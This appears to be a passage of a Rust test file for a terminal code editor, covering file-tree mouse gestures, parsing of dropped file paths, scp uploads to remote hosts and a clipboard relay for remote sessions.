    std::fs::write(tmp.path().join("a.txt"), "").unwrap();
    std::fs::write(tmp.path().join("b.txt"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let a_idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.ends_with("a.txt"))
        .unwrap();
    let b_idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.ends_with("b.txt"))
        .unwrap();
    app.tree.select_replace(a_idx);
    app.tree.toggle_mark(b_idx);
    // Delete now asks first: it opens a confirmation popup, nothing is trashed yet.
    app.handle_tree_key(key(KeyCode::Delete, KeyModifiers::NONE));
    assert!(
        app.input_prompt.is_some(),
        "Delete must open a confirm popup"
    );
    assert!(
        tmp.path().join("a.txt").exists(),
        "not trashed until confirmed"
    );
    // Enter confirms; now both selected entries move to Trash.
    app.submit_input_prompt();
    assert!(!tmp.path().join("a.txt").exists());
    assert!(!tmp.path().join("b.txt").exists());
}

#[test]
fn scratch_buffer_saves_under_the_workspace_root_with_a_safe_name() {
    // A scratch buffer (MCP output / Git Output) must anchor under the open
    // project, not write a bare filename to croft's cwd, and must sanitise path
    // separators in the title so the name is a valid single file.
    let tmp = tempfile::tempdir().unwrap();
    let app = App::new(tmp.path().to_path_buf()).unwrap();
    let p = app.scratch_buffer_path("Web: a/b.md");
    assert_eq!(p, tmp.path().join("Web: a-b.md"));
}

#[test]
fn drag_drop_moves_marked_paths_to_target_dir() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("src.txt"), "x").unwrap();
    std::fs::create_dir(tmp.path().join("dest")).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.tree.last_area = Rect {
        x: 0,
        y: 0,
        width: 40,
        height: 8,
    };
    app.tree.last_inner = Rect {
        x: 1,
        y: 1,
        width: 38,
        height: 6,
    };
    let src_idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.ends_with("src.txt"))
        .unwrap();
    let dest_idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.ends_with("dest"))
        .unwrap();
    let src_row = app.tree.last_inner.y + src_idx as u16;
    let dest_row = app.tree.last_inner.y + dest_idx as u16;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 6,
        row: src_row,
        modifiers: KeyModifiers::NONE,
    });
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Drag(crossterm::event::MouseButton::Left),
        column: 6,
        row: dest_row,
        modifiers: KeyModifiers::NONE,
    });
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Up(crossterm::event::MouseButton::Left),
        column: 6,
        row: dest_row,
        modifiers: KeyModifiers::NONE,
    });
    assert!(tmp.path().join("dest/src.txt").exists());
    assert!(!tmp.path().join("src.txt").exists());
}

#[test]
fn alt_drag_copies_instead_of_moves() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("src.txt"), "x").unwrap();
    std::fs::create_dir(tmp.path().join("dest")).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.tree.last_area = Rect {
        x: 0,
        y: 0,
        width: 40,
        height: 8,
    };
    app.tree.last_inner = Rect {
        x: 1,
        y: 1,
        width: 38,
        height: 6,
    };
    let src_idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.ends_with("src.txt"))
        .unwrap();
    let dest_idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.ends_with("dest"))
        .unwrap();
    let src_row = app.tree.last_inner.y + src_idx as u16;
    let dest_row = app.tree.last_inner.y + dest_idx as u16;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 6,
        row: src_row,
        modifiers: KeyModifiers::NONE,
    });
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Drag(crossterm::event::MouseButton::Left),
        column: 6,
        row: dest_row,
        modifiers: KeyModifiers::ALT,
    });
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Up(crossterm::event::MouseButton::Left),
        column: 6,
        row: dest_row,
        modifiers: KeyModifiers::ALT,
    });
    assert!(tmp.path().join("dest/src.txt").exists());
    assert!(
        tmp.path().join("src.txt").exists(),
        "Alt-drag must keep the source"
    );
}

#[test]
fn shift_click_extends_marks_from_anchor() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("a.txt"), "").unwrap();
    std::fs::write(tmp.path().join("b.txt"), "").unwrap();
    std::fs::write(tmp.path().join("c.txt"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.tree.last_area = Rect {
        x: 0,
        y: 0,
        width: 40,
        height: 8,
    };
    app.tree.last_inner = Rect {
        x: 1,
        y: 1,
        width: 38,
        height: 6,
    };
    let first_idx = 1usize;
    let last_idx = app.tree.nodes.len() - 1;
    let first_row = app.tree.last_inner.y + first_idx as u16;
    let last_row = app.tree.last_inner.y + last_idx as u16;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 6,
        row: first_row,
        modifiers: KeyModifiers::NONE,
    });
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Up(crossterm::event::MouseButton::Left),
        column: 6,
        row: first_row,
        modifiers: KeyModifiers::NONE,
    });
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 6,
        row: last_row,
        modifiers: KeyModifiers::SHIFT,
    });
    let span = last_idx - first_idx + 1;
    assert_eq!(app.tree.action_paths().len(), span);
}

#[test]
fn alt_click_toggles_individual_mark_on_release() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("a.txt"), "").unwrap();
    std::fs::write(tmp.path().join("b.txt"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.tree.last_area = Rect {
        x: 0,
        y: 0,
        width: 40,
        height: 8,
    };
    app.tree.last_inner = Rect {
        x: 1,
        y: 1,
        width: 38,
        height: 6,
    };
    let a_idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.ends_with("a.txt"))
        .unwrap();
    let b_idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.ends_with("b.txt"))
        .unwrap();
    let a_row = app.tree.last_inner.y + a_idx as u16;
    let b_row = app.tree.last_inner.y + b_idx as u16;
    for row in [a_row, b_row] {
        app.handle_mouse(crossterm::event::MouseEvent {
            kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
            column: 6,
            row,
            modifiers: KeyModifiers::ALT,
        });
        app.handle_mouse(crossterm::event::MouseEvent {
            kind: crossterm::event::MouseEventKind::Up(crossterm::event::MouseButton::Left),
            column: 6,
            row,
            modifiers: KeyModifiers::ALT,
        });
    }
    let marked: BTreeSet<PathBuf> = app.tree.marked.clone();
    assert!(marked.contains(&tmp.path().join("a.txt")));
    assert!(marked.contains(&tmp.path().join("b.txt")));
}

#[test]
fn ctrl_click_also_toggles_individual_mark() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("a.txt"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.tree.last_area = Rect {
        x: 0,
        y: 0,
        width: 40,
        height: 8,
    };
    app.tree.last_inner = Rect {
        x: 1,
        y: 1,
        width: 38,
        height: 6,
    };
    let a_idx = app
        .tree
        .nodes
        .iter()
        .position(|n| n.path.ends_with("a.txt"))
        .unwrap();
    let row = app.tree.last_inner.y + a_idx as u16;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 6,
        row,
        modifiers: KeyModifiers::CONTROL,
    });
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Up(crossterm::event::MouseButton::Left),
        column: 6,
        row,
        modifiers: KeyModifiers::CONTROL,
    });
    assert!(app.tree.marked.contains(&tmp.path().join("a.txt")));
}

#[test]
fn alt_click_does_not_open_the_file() {
    // Toggle is meant to mark — never to open. The deferred-toggle flow
    // must not reach `editor.open_preview` when Alt/Ctrl is held.
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("a.txt");
    std::fs::write(&f, "hi").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.tree.last_area = Rect {
        x: 0,
        y: 0,
        width: 40,
        height: 8,
    };
    app.tree.last_inner = Rect {
        x: 1,
        y: 1,
        width: 38,
        height: 6,
    };
    let idx = app.tree.nodes.iter().position(|n| n.path == f).unwrap();
    let row = app.tree.last_inner.y + idx as u16;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: 6,
        row,
        modifiers: KeyModifiers::ALT,
    });
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Up(crossterm::event::MouseButton::Left),
        column: 6,
        row,
        modifiers: KeyModifiers::ALT,
    });
    assert!(
        app.editor.is_blank_initial(),
        "alt-click must not open the file"
    );
}

#[test]
fn parse_dropped_paths_accepts_a_single_existing_absolute_path() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("dropped.txt");
    std::fs::write(&f, "hi").unwrap();
    let parsed = parse_dropped_paths(&format!("{}\n", f.display()));
    assert_eq!(parsed, vec![f]);
}

#[test]
fn parse_dropped_paths_drops_iterm2_inline_image_drag_artefact() {
    // iTerm2 lets the user drag any OSC-1337 inline image (which is
    // how croft paints activity-bar icons / welcome wordmark / SSH
    // hero) out of the terminal. On mouse-up iTerm2 writes the bytes
    // to $TMPDIR/iTerm2.<rand>.png and re-injects the path as a
    // bracketed paste, which croft would otherwise see as "the user
    // dragged a file into the editor" and open as an image preview.
    // That has happened to the user accidentally when they tried to
    // click a sidebar icon and the click drifted into a drag — the
    // file `iTerm2.5AO7K5.png` opened as a tab showing the Explorer
    // glyph. The drop must be silently filtered.
    let tmp = tempfile::tempdir().unwrap();
    let temp_dir = tmp.path().join("T").join("com.googlecode.iterm2");
    std::fs::create_dir_all(&temp_dir).unwrap();
    let fake = temp_dir.join("iTerm2.5AO7K5.png");
    std::fs::write(&fake, b"\x89PNG\r\n\x1a\n").unwrap();
    let parsed = parse_dropped_paths(&format!("{}\n", fake.display()));
    assert!(
        parsed.is_empty(),
        "iTerm2's inline-image drag temp file must be filtered out so a stray click-drag on an activity-bar icon does not open a phantom PNG tab — got {parsed:?}"
    );
}

#[test]
fn parse_dropped_paths_keeps_user_pngs_that_happen_to_share_a_temp_dir() {
    // The filter must key on the `iTerm2.<rand>.png` filename
    // pattern, not just "anything under /tmp". A real user-authored
    // PNG that happens to live under a temp directory must still be
    // accepted, otherwise the heuristic over-fires.
    let tmp = tempfile::tempdir().unwrap();
    let temp_dir = tmp.path().join("T");
    std::fs::create_dir_all(&temp_dir).unwrap();
    let user_png = temp_dir.join("my_screenshot.png");
    std::fs::write(&user_png, b"\x89PNG\r\n\x1a\n").unwrap();
    let parsed = parse_dropped_paths(&format!("{}\n", user_png.display()));
    assert_eq!(
        parsed,
        vec![user_png.clone()],
        "a user-named PNG under a temp dir must still be droppable — only the literal iTerm2.<rand>.png pattern is the artefact"
    );
}

#[test]
fn parse_dropped_paths_strips_file_url_prefix_and_decodes() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("with space.txt");
    std::fs::write(&f, "hi").unwrap();
    let url = format!("file://{}/with%20space.txt", tmp.path().to_string_lossy());
    let parsed = parse_dropped_paths(&url);
    assert_eq!(parsed, vec![f]);
}

#[test]
fn parse_dropped_paths_handles_backslash_escaped_spaces() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("with space.txt");
    std::fs::write(&f, "hi").unwrap();
    let escaped = format!("{}/with\\ space.txt", tmp.path().to_string_lossy());
    let parsed = parse_dropped_paths(&escaped);
    assert_eq!(parsed, vec![f]);
}

#[test]
fn parse_dropped_paths_supports_multi_file_drop_via_newlines() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.txt");
    let b = tmp.path().join("b.txt");
    std::fs::write(&a, "1").unwrap();
    std::fs::write(&b, "2").unwrap();
    let payload = format!("{}\n{}\n", a.display(), b.display());
    let parsed = parse_dropped_paths(&payload);
    assert_eq!(parsed.len(), 2);
    assert!(parsed.contains(&a));
    assert!(parsed.contains(&b));
}

#[test]
fn parse_dropped_paths_supports_multi_file_drop_via_unescaped_spaces() {
    // iTerm2's Finder-drop format for two files with spaces in their
    // names is `<path1> <path2>`, where spaces inside a path are
    // backslash-escaped and the separator between paths is a literal
    // space. Make sure both paths come through.
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("02 Аленький цветочек.mp3");
    let b = tmp.path().join("03 Буратино.mp3");
    std::fs::write(&a, "x").unwrap();
    std::fs::write(&b, "y").unwrap();
    let payload = format!(
        "{}/02\\ Аленький\\ цветочек.mp3 {}/03\\ Буратино.mp3",
        tmp.path().to_string_lossy(),
        tmp.path().to_string_lossy(),
    );
    let parsed = parse_dropped_paths(&payload);
    assert_eq!(parsed.len(), 2, "expected two paths, got {parsed:?}");
    assert!(parsed.contains(&a));
    assert!(parsed.contains(&b));
}

#[test]
fn parse_dropped_paths_keeps_quoted_path_with_space_intact() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("with space.txt");
    std::fs::write(&a, "x").unwrap();
    let payload = format!("\"{}\"", a.display());
    let parsed = parse_dropped_paths(&payload);
    assert_eq!(parsed, vec![a]);
}

#[test]
fn parse_dropped_paths_handles_mix_of_quoted_and_escaped_paths() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("plain.txt");
    let b = tmp.path().join("with space.txt");
    std::fs::write(&a, "x").unwrap();
    std::fs::write(&b, "y").unwrap();
    let payload = format!("{} \"{}\"", a.display(), b.display(),);
    let parsed = parse_dropped_paths(&payload);
    assert_eq!(parsed.len(), 2, "got {parsed:?}");
    assert!(parsed.contains(&a));
    assert!(parsed.contains(&b));
}

#[test]
fn parse_dropped_paths_returns_empty_for_plain_text() {
    // Plain typed text must not be hijacked as a drop import.
    let parsed = parse_dropped_paths("hello world this is some text");
    assert!(parsed.is_empty());
}

#[test]
fn parse_dropped_paths_skips_nonexistent_paths() {
    let parsed = parse_dropped_paths("/this/path/definitely/does/not/exist");
    assert!(parsed.is_empty());
}

#[test]
fn finder_drop_into_explorer_moves_file_into_workspace() {
    let workspace = tempfile::tempdir().unwrap();
    let outside = tempfile::tempdir().unwrap();
    let src = outside.path().join("dragged.txt");
    std::fs::write(&src, "hello").unwrap();
    let mut app = App::new(workspace.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Tree);
    app.set_sidebar_view(SidebarView::Explorer);
    app.handle_paste(&format!("{}\n", src.display()));
    let dest = workspace.path().join("dragged.txt");
    assert!(dest.exists(), "file should land in the workspace");
    assert!(!src.exists(), "Finder drop must move, not copy");
    assert_eq!(std::fs::read_to_string(&dest).unwrap(), "hello");
}

#[test]
fn finder_drop_into_terminal_pastes_path_instead_of_scp_in_remote_view() {
    let workspace = tempfile::tempdir().unwrap();
    let outside = tempfile::tempdir().unwrap();
    let src = outside.path().join("dragged.txt");
    std::fs::write(&src, "hello").unwrap();
    let mut app = App::new(workspace.path().to_path_buf()).unwrap();
    app.remote.targets = vec![crate::remote::RemoteTarget {
        alias: String::from("alpha"),
        host_name: Some(String::from("alpha.example.com")),
        user: Some(String::from("vitali")),
    }];
    app.remote.selected = 0;
    app.set_sidebar_view(SidebarView::Remote);
    // Focus sits in the embedded terminal (e.g. a Claude Code session)
    // while the Remote sidebar happens to be the active view. A Finder
    // drag-drop here must forward the path into the terminal so the
    // running program receives it, NOT hijack it into an scp upload to
    // the auto-selected host. Focus wins, mirroring the Explorer branch.
    app.show_terminal = true;
    app.focus_pane(Pane::Terminal);
    let editor_before = app.editor.lines.clone();
    app.handle_paste(&format!("{}\n", src.display()));
    assert!(
        app.take_pending_scp_uploads().is_empty(),
        "terminal-focused drop must not queue an scp upload",
    );
    assert_eq!(
        app.editor.lines, editor_before,
        "terminal-focused drop must not leak the path into the editor",
    );
    assert!(src.exists(), "the drop must not move or delete the source");
}

#[test]
fn finder_drop_into_editor_inserts_path_instead_of_scp_in_remote_view() {
    let workspace = tempfile::tempdir().unwrap();
    let outside = tempfile::tempdir().unwrap();
    let src = outside.path().join("e.txt");
    std::fs::write(&src, "x").unwrap();
    let mut app = App::new(workspace.path().to_path_buf()).unwrap();
    app.remote.targets = vec![crate::remote::RemoteTarget {
        alias: String::from("beta"),
        host_name: None,
        user: None,
    }];
    app.remote.selected = 0;
    app.set_sidebar_view(SidebarView::Remote);
    app.focus_pane(Pane::Editor);
    app.handle_paste(&format!("{}\n", src.display()));
    assert!(
        app.take_pending_scp_uploads().is_empty(),
        "editor-focused drop must not queue an scp upload",
    );
    assert!(
        app.editor.lines.iter().any(|l| l.contains("e.txt")),
        "editor-focused drop should insert the dropped path, was: {:?}",
        app.editor.lines,
    );
}

#[test]
fn finder_drop_onto_remote_tree_still_queues_scp() {
    let workspace = tempfile::tempdir().unwrap();
    let outside = tempfile::tempdir().unwrap();
    let src = outside.path().join("dragged.txt");
    std::fs::write(&src, "hello").unwrap();
    let mut app = App::new(workspace.path().to_path_buf()).unwrap();
    app.remote.targets = vec![crate::remote::RemoteTarget {
        alias: String::from("alpha"),
        host_name: Some(String::from("alpha.example.com")),
        user: Some(String::from("vitali")),
    }];
    app.remote.selected = 0;
    app.set_sidebar_view(SidebarView::Remote);
    // Dropping ONTO the Remote sidebar (tree focused) is the deliberate
    // upload gesture and must still queue an scp copy to the host.
    app.focus_pane(Pane::Tree);
    app.handle_paste(&format!("{}\n", src.display()));
    let queued = app.take_pending_scp_uploads();
    assert_eq!(queued.len(), 1, "one scp upload should be queued");
    assert_eq!(queued[0].alias, "alpha");
    assert_eq!(queued[0].src, src);
    assert!(src.exists(), "scp must copy, not move");
}

#[test]
fn finder_drop_on_remote_view_with_no_target_reports_clear_status() {
    let workspace = tempfile::tempdir().unwrap();
    let outside = tempfile::tempdir().unwrap();
    let src = outside.path().join("dragged.txt");
    std::fs::write(&src, "hi").unwrap();
    let mut app = App::new(workspace.path().to_path_buf()).unwrap();
    app.remote.targets.clear();
    app.remote.selected = 0;
    app.set_sidebar_view(SidebarView::Remote);
    app.focus_pane(Pane::Tree);
    app.handle_paste(&format!("{}\n", src.display()));
    assert!(app.take_pending_scp_uploads().is_empty());
    assert!(
        app.status.contains("no Remote Explorer host"),
        "status must explain the failure, was: {:?}",
        app.status,
    );
    assert!(
        src.exists(),
        "with no host the source file must be left intact",
    );
}

fn relay_test_lock() -> &'static std::sync::Mutex<()> {
    // The relay tests share the cache-dir test override, the
    // CROFT_RELAY_KEY env var, and real relay directories, so they still
    // serialize against each other — but no test mutates `$HOME` any more
    // (#37), so the old crate-wide HOME_LOCK is gone and this lock is
    // private to the relay family.
    static LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(());
    &LOCK
}

/// Point `$HOME` (hence `croft_cache_dir`) at a temp dir and set a fixed
/// `CROFT_RELAY_KEY` for the duration of `body`, restoring prior values after.
/// The relay dir is `$HOME/.cache/croft/relay-<CROFT_RELAY_KEY>`, so a relay
/// test controls the rendezvous by controlling those two env vars rather than
/// injecting the old per-connection `CROFT_DROP_RELAY_*` paths. Serialized by
/// `relay_test_lock`.
const TEST_RELAY_KEY: &str = "0123456789abcdef";

fn with_relay_home<T>(home: &std::path::Path, body: impl FnOnce() -> T) -> T {
    // The cache dir is redirected through its test override instead of
    // repointing the process-global `$HOME` (#37): unrelated test threads
    // resolve `$HOME` at call time and a substituted value made them fail
    // inside the fake home. CROFT_RELAY_KEY stays an env var — it is
    // croft-specific and `relay_dir` is its only reader, so no unrelated
    // reader can race on it. The restore is RAII so a panicking `body`
    // cannot leak the redirected globals into later relay tests.
    struct RestoreRelayGlobals {
        prev_key: Option<std::ffi::OsString>,
    }
    impl Drop for RestoreRelayGlobals {
        fn drop(&mut self) {
            *crate::app::CACHE_DIR_OVERRIDE_FOR_TEST.lock().unwrap() = None;
            // SAFETY: relay tests hold relay_test_lock, serializing this
            // mutation.
            unsafe {
                match self.prev_key.take() {
                    Some(k) => std::env::set_var("CROFT_RELAY_KEY", k),
                    None => std::env::remove_var("CROFT_RELAY_KEY"),
                }
            }
        }
    }
    let _restore = RestoreRelayGlobals {
        prev_key: std::env::var_os("CROFT_RELAY_KEY"),
    };
    *crate::app::CACHE_DIR_OVERRIDE_FOR_TEST.lock().unwrap() =
        Some(home.join(".cache").join("croft"));
    // SAFETY: relay tests hold relay_test_lock, serializing this mutation.
    unsafe {
        std::env::set_var("CROFT_RELAY_KEY", TEST_RELAY_KEY);
    }
    body()
}

#[test]
fn remote_launched_drop_queues_pull_request_via_relay_log() {
    let _guard = relay_test_lock().lock().unwrap();
    // The user dragged a Finder file onto a remote-launched croft. The Mac path
    // doesn't exist on the remote box, but the session is a `croft remote` child
    // (CROFT_REMOTE_AUTOUPDATE set) whose local parent runs a drop pump, so the
    // drop is recorded in the identity-derived relay log (no env path needed)
    // instead of being pasted into the editor.
    let workspace = tempfile::tempdir().unwrap();
    let home = tempfile::tempdir().unwrap();
    let mut app = App::new(workspace.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Explorer);
    app.focus_pane(Pane::Tree);
    let (log, _) = with_relay_home(home.path(), || {
        let log = app.relay_log_path().expect("relay log path derivable");
        app.handle_paste("/Users/vitali/Documents/foo.txt\n");
        (log, ())
    });
    let written = std::fs::read_to_string(&log).expect("relay log was written");
    assert!(
        written.starts_with("pull\t"),
        "relay log entry must be a pull request, got: {written:?}",
    );
    assert!(
        written.contains("/Users/vitali/Documents/foo.txt"),
        "relay log must carry the foreign path, got: {written:?}",
    );
    assert_eq!(app.pending_remote_pulls.len(), 1);
}

/// #538, half one: Cmd+C inside a program that tracks the mouse.
///
/// Claude Code turns mouse tracking on, so a left-drag inside it is FORWARDED
/// to the child and croft deliberately clears its own selection (#474). Cmd+C
/// then found no selection and returned in SILENCE — the user pressed copy,
/// nothing reached the clipboard, and nothing said why or what would work.
#[test]
fn cmd_c_inside_a_mouse_tracking_program_says_why_nothing_was_copied() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.show_terminal = true;
    app.focus_pane(Pane::Terminal);
    // The child explicitly REQUESTS click and drag tracking (?1002 button-drag,
    // ?1006 SGR), which is what makes the drag below the child's rather than
    // croft's. A program that never asks still selects on a plain drag.
    app.terminals[0].feed_bytes_for_test(b"\x1b[?1002h\x1b[?1006h");
    assert!(
        app.terminals[0].mouse_reporting(),
        "precondition: the child is tracking the mouse"
    );
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(160, 30)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let inner = app.terminals[0].last_inner;

    // The user drags across the TUI's output, which is the child's gesture.
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        inner.x + 2,
        inner.y + 1,
    ));
    app.handle_mouse(mouse(
        MouseEventKind::Drag(MouseButton::Left),
        inner.x + 12,
        inner.y + 1,
    ));
    app.handle_mouse(mouse(
        MouseEventKind::Up(MouseButton::Left),
        inner.x + 12,
        inner.y + 1,
    ));
    assert!(
        !app.terminals[0].selection().is_some_and(|s| s.has_area()),
        "precondition: the drag belonged to the child, so croft holds no selection"
    );

    app.status.clear();
    app.handle_key(key(KeyCode::Char('c'), KeyModifiers::SUPER))
        .unwrap();
    assert!(
        !app.status.is_empty(),
        "Cmd+C that copies nothing must say so rather than fail silently"
    );
    assert!(
        app.status.contains("Shift"),
        "and must name the gesture that DOES select inside a tracking program, got {:?}",
        app.status
    );
}

/// #538, half two: what "the clipboard" means when croft runs on a remote box.
///
/// The user's clipboard is on the machine they are typing at, not on the Linux
/// box croft runs on. A copy there wrote the REMOTE box's clipboard (usually no
/// tool at all in an SSH session) and fell back to OSC 52, which the host
/// terminal may silently refuse — while the status line claimed success either
/// way. The drop relay already pulls the local clipboard for paste; this is the
/// same road in the other direction.
#[test]
fn copying_on_a_relay_session_pushes_the_text_to_the_local_clipboard() {
    let _guard = relay_test_lock().lock().unwrap();
    let tmp = tempfile::tempdir().unwrap();
    let home = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // A silent child, so the grid holds exactly what the test feeds it.
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), String::from("sleep 60")],
        tmp.path(),
    )
    .unwrap();
    app.show_terminal = true;
    app.focus_pane(Pane::Terminal);
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(160, 30)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let inner = app.terminals[0].last_inner;
    app.terminals[0].feed_bytes_for_test(b"copy-me-538\r\n");
    let (lines, top) = app.terminals[0].grid_lines();
    let vrow = (top
        + lines
            .iter()
            .position(|l| l.starts_with("copy-me-538"))
            .expect("the fed text reached the grid") as i32) as u16;
    app.terminals[0].start_selection_at(inner.x, inner.y + vrow);
    app.terminals[0].extend_selection_to(inner.x + 20, inner.y + vrow);
    let expected = app.terminals[0].selection_text();
    assert!(
        expected.contains("copy-me-538"),
        "precondition: the selection covers the fed text, got {expected:?}"
    );

    // Opt in explicitly. The flag is inert under cfg(test) precisely so that
    // this test's CROFT_RELAY_KEY cannot reroute a concurrent test's copy.
    app.is_relay_session = true;
    let (log, inbox_for_assert) = with_relay_home(home.path(), || {
        let log = app.relay_log_path().expect("relay log path derivable");
        let inbox = app.relay_inbox_path().expect("relay inbox path derivable");
        app.handle_key(key(KeyCode::Char('c'), KeyModifiers::SUPER))
            .unwrap();
        (log, inbox)
    });

    let written = std::fs::read_to_string(&log).expect("relay log was written");
    assert!(
        written.starts_with("copy\t"),
        "a copy on a relay session must queue a copy request, got {written:?}"
    );
    // The line carries an ID ONLY: a path on the wire would let anything that
    // can write this log point the pump at a FIFO or outside the relay.
    let request_id = written
        .trim_end()
        .split('\t')
        .nth(1)
        .expect("the request carries an id");
    assert_eq!(
        written.trim_end().split('\t').count(),
        2,
        "no path belongs on the wire, got {written:?}"
    );
    let payload_path = inbox_for_assert.join(format!("{request_id}.txt"));
    let payload = std::fs::read_to_string(&payload_path).expect("the payload file was written");
    assert_eq!(
        payload, expected,
        "the payload must be exactly what was selected"
    );
    assert!(
        app.status.contains("local"),
        "and the status must say WHERE it went, got {:?}",
        app.status
    );
}

#[test]
fn pure_path_payload_distinguishes_finder_drag_from_text_paste() {
    // A genuine Finder drag carries only absolute path tokens.
    assert!(super::is_pure_path_payload("/Users/v/Documents/foo.txt"));
    assert!(super::is_pure_path_payload("/Users/v/a.txt /Users/v/b.txt"));
    assert!(super::is_pure_path_payload("'/Users/v/with space.txt'"));
    // Text pastes that merely contain a path always carry a non-path token, so
    // they must NOT be hijacked into a relay pull.
    assert!(!super::is_pure_path_payload("cat /etc/hosts"));
    assert!(!super::is_pure_path_payload("see /Users/v/foo.txt please"));
    assert!(!super::is_pure_path_payload("relative/path.txt"));
    assert!(!super::is_pure_path_payload(""));
}

#[test]
fn remote_finder_drag_queues_pull_without_tree_focus() {
    let _guard = relay_test_lock().lock().unwrap();
    // A drop does not move keyboard focus to the Explorer tree, so a focus-only
    // gate dropped drags whenever the user had last clicked the terminal or
    // editor. A pure-path payload must be recognised regardless of focus.
    let workspace = tempfile::tempdir().unwrap();
    let home = tempfile::tempdir().unwrap();
    let mut app = App::new(workspace.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Explorer);
    app.focus_pane(Pane::Editor); // focus is NOT on the tree
    let log = with_relay_home(home.path(), || {
        let log = app.relay_log_path().expect("relay log path derivable");
        app.handle_paste("/Users/vitali/Documents/dragged.txt\n");
        log
    });
    let written = std::fs::read_to_string(&log).expect("relay log was written");
    assert!(
        written.starts_with("pull\t") && written.contains("/Users/vitali/Documents/dragged.txt"),
        "a pure-path drag must queue a pull even without tree focus, got: {written:?}",
    );
    assert_eq!(app.pending_remote_pulls.len(), 1);
}

#[test]
fn drain_remote_pulls_imports_file_when_relay_signals_ok() {
    let _guard = relay_test_lock().lock().unwrap();
    let workspace = tempfile::tempdir().unwrap();
    let home = tempfile::tempdir().unwrap();
    let mut app = App::new(workspace.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Explorer);
    app.focus_pane(Pane::Tree);
    let request_dir = with_relay_home(home.path(), || {
        let inbox = app.relay_inbox_path().expect("relay inbox derivable");
        let request_dir = inbox.join("test-req-1");
        std::fs::create_dir_all(&request_dir).unwrap();
        std::fs::write(request_dir.join("foo.txt"), "payload").unwrap();
        std::fs::write(request_dir.join(".ok"), b"").unwrap();
        app.pending_remote_pulls.push(PendingRemotePull {
            request_id: String::from("test-req-1"),
            src_display: String::from("/Users/v/Docs/foo.txt"),
            basename: String::from("foo.txt"),
            dest_dir: workspace.path().to_path_buf(),
            started_at: std::time::Instant::now(),
            kind: RemotePullKind::File,
        });
        let changed = app.drain_remote_pulls();
        assert!(changed);
        request_dir
    });
    assert!(app.pending_remote_pulls.is_empty());
    let landed = workspace.path().join("foo.txt");
    assert!(landed.exists(), "file should land in workspace");
    assert_eq!(std::fs::read_to_string(&landed).unwrap(), "payload");
    assert!(
        !request_dir.exists(),
        "relay request dir must be cleaned up after import",
    );
    assert!(app.status.contains("Pulled"));
}

#[test]
